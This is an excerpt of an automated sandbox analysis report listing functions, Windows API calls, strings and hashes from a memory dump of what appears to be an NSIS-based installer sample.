Opcode ID: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction ID: 4537c79132fc6b4e07af9f6f4ddc5e1db4475248beafdc935845b7fb5ee8fdc2
Opcode Fuzzy Hash: ea37a1a334eaa57c44c9ac3bd50a12c4681d8f83bf4f6bb47fe7ae46db9ee3b5
Instruction Fuzzy Hash: 08D09E71558202EFEF098F60DD1AF6EBBA2EB94B00F11852CB252550F1D6B25819DB15

Function 00405E5C Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00406EAD,?,?,?), ref: 00405E60
SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E73

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction ID: cfdb79520ecdf627421b2718222ef799ef1344ba1afc56e39be72dea6d7b0432
Opcode Fuzzy Hash: 5e2af4692c2c60a0182b675181584894d3553f063f17430bbe0abaa40064c643
Instruction Fuzzy Hash: 25C04C71404905BBDA015B34DE09D1BBB66EFA1331B648735F4BAE01F1C7358C65DA19

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033D2,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction ID: 6ac59f4cb3fe35c1316d0bdd9a7bfda3bd496f009ebd6252a63c396af269f63e
Opcode Fuzzy Hash: f617a5e021c5b0a319d386adb8c185e40962a0be4c43712b9beeddd23e90c427
Instruction Fuzzy Hash: 17E08C32650118FFDB109EA69C84EE73B5CFB047A2F00C432BD55E5190DA30DA00EBA4

Function 004037F8 Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

CreateDirectoryW.KERNELBASE(004E30C8,00000000,004E30C8,004E30C8,004E30C8,-00000002,00403A37), ref: 00403819

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction ID: c72586207ca4fe3275e323c6ce7a55902ce0015f7edb1a19efdc0f2786dab76c
Opcode Fuzzy Hash: ec387b52da79c0d7c7db124e40c02042f93ac80872f0e6df2e3daec6660af043
Instruction Fuzzy Hash: 52D0921218293121C66237663D0ABCF195C4F92B2EB0280B7F942B61D69B6C4A9285EE

Function 00403DDB Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DED

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction ID: 85c9fcbfeeb581dd75f9c62538f5ff43d76368f59f1a6e3d2bff8e12452ff276
Opcode Fuzzy Hash: bd6570ef2729c24474e20ae8e5d55f292f33ecedeb6df88af58882e0072056a2
Instruction Fuzzy Hash: 0FC04C75644201BBDA108B509D45F077759AB90701F1584257615F50E0C674D550D62C

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,00403786,?,?,?,?,00000000,00403A73,?), ref: 00403376

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction ID: a45aac6c24818fd8413ddab5752014fb5f73d741524c96ff6ff4c62981ea4fba
Opcode Fuzzy Hash: 4bc311ea945a84079b9d2f50dcaf6257f2c75df5904c01363540678bd5f9aa8d
Instruction Fuzzy Hash: 83B01231640200FFEA214F50DE09F06BB21B794700F208430B350380F082711820EB0C

Function 00403DC4 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction ID: 19f7ed481b0b3084dfc48602985d3e47af739273f13ec77122cd0735a5794091
Opcode Fuzzy Hash: 4d265d85d83b9aee7a2860bb21ac42a33598db5d2fcd0833c625a930327cbe25
Instruction Fuzzy Hash: CCB01235181200BBDE514B00DE0AF867F62F7A8701F008574B305640F0C6B204E0DB09

Function 00403DB1 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,00405779), ref: 00403DBB

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction ID: a171dc49094d5971c6211130fd655c06747b54d01a1b52cbafa865c71f5bacad
Opcode Fuzzy Hash: afebc9adcdbb38a0c5e5e33596f84c2f2140198a38245a29fea50a5d9e588109
Instruction Fuzzy Hash: 2CA001BA845500ABCA439B60EF0988ABA62BBA5701B11897AE6565103587325864EB19

Non-executed Functions

Function 004049A8 Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 004049BF
GetDlgItem.USER32(?,00000408), ref: 004049CC
GlobalAlloc.KERNEL32(00000040,?), ref: 00404A1B
LoadBitmapW.USER32(0000006E), ref: 00404A2E
SetWindowLongW.USER32(?,000000FC,Function_000048F8), ref: 00404A48
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A5A
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A6E
SendMessageW.USER32(?,00001109,00000002), ref: 00404A84
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A90
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404AA0
DeleteObject.GDI32(?), ref: 00404AA5
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AD0
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404ADC
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B7D
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404BA0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404BB1
GetWindowLongW.USER32(?,000000F0), ref: 00404BDB
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BEA
ShowWindow.USER32(?,00000005), ref: 00404BFB
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CF9
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D54
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D69
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D8D
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404DB3
ImageList_Destroy.COMCTL32(?), ref: 00404DC8
GlobalFree.KERNEL32(?), ref: 00404DD8
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E48
SendMessageW.USER32(?,00001102,?,?), ref: 00404EF6
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404F05
InvalidateRect.USER32(?,00000000,00000001), ref: 00404F25
ShowWindow.USER32(?,00000000), ref: 00404F75
GetDlgItem.USER32(?,000003FE), ref: 00404F80
ShowWindow.USER32(00000000), ref: 00404F87

Strings

M, xrefs: 00404B6F
, xrefs: 00404F65
@, xrefs: 00404BBC
N, xrefs: 00404C32

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction ID: ef4bce446953bc7ec7e60756d12a1063aab4f745b4df8f164389f1335a379dc2
Opcode Fuzzy Hash: 232f7ad113cb9ac5efd1b23bb694dfa7ac126bc5f1dc1702430156d0733604ca
Instruction Fuzzy Hash: 7B028DB090020AAFEF109F95CD45AAE7BB5FB84314F10417AF611BA2E1C7B89D91CF58

Function 00406CC7 Relevance: 31.7, APIs: 9, Strings: 9, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004CF0A0), ref: 00406CE4
lstrcatW.KERNEL32(00467470,\*.*,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D35
lstrcatW.KERNEL32(?,00409838,?,00467470,?,-00000002,004E30C8,?,004CF0A0), ref: 00406D55
lstrlenW.KERNEL32(?), ref: 00406D58
FindFirstFileW.KERNEL32(00467470,?), ref: 00406D6C
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E4E
FindClose.KERNEL32(?), ref: 00406E5F

Strings

\*.*, xrefs: 00406D2F
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406EBF
Delete: DeleteFile on Reboot("%s"), xrefs: 00406E0C
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E84
Delete: DeleteFile("%s"), xrefs: 00406DE8
Delete: DeleteFile failed("%s"), xrefs: 00406E29
RMDir: RemoveDirectory("%s"), xrefs: 00406E9B
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EDC
ptF, xrefs: 00406D1A

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*$ptF
API String ID: 2035342205-1650287579
Opcode ID: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction ID: e61cf0fe73e9c947a39cb72df690d6d83a08ee9d5dae9ef8ba60e8d8024aa79e
Opcode Fuzzy Hash: a107dcf2f5cda8a7bb449344070620469a6265ca89df76249a653839e461c381
Instruction Fuzzy Hash: 3E51D225604305AADB11AB71CC49A7F37B89F41728F22803FF803761D2DB7C49A1D6AE

Function 004044D1 Relevance: 30.0, APIs: 15, Strings: 2, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 00404525
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404533
GetDlgItem.USER32(?,000003FB), ref: 00404553
GetAsyncKeyState.USER32(00000010), ref: 0040455A
GetDlgItem.USER32(?,000003F0), ref: 0040456F
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
SetWindowTextW.USER32(?,?), ref: 004045AF
SHBrowseForFolderW.SHELL32(?), ref: 00404669
lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
CoTaskMemFree.OLE32(00000000), ref: 00404674

Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3

Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB

GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427DC1,74DF23A0,00000000), ref: 00406902

SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819

Strings

F, xrefs: 004046A0
A, xrefs: 00404662

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: F$A
API String ID: 3347642858-1281894373
Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59

Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
lstrcmpA.KERNEL32(name,?), ref: 00406FF3
CloseHandle.KERNEL32(?), ref: 00407212

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

GetTTFNameString, xrefs: 00406F33
name, xrefs: 00406FEB
%s: failed opening file "%s", xrefs: 00406F38

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75

Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00427DC1,74DF23A0,00000000), ref: 00406902
GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,00427DC1,74DF23A0,00000000), ref: 00406A73

Strings

F, xrefs: 00406A7F
F, xrefs: 00406858
\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406A0B
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406952

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-1792361021
Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000007.00000002.3679776813.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3679726887.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679836688.0000000000409000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000040C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000420000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.0000000000434000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3679897344.000000000046B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.3680051506.0000000000500000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_A723.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
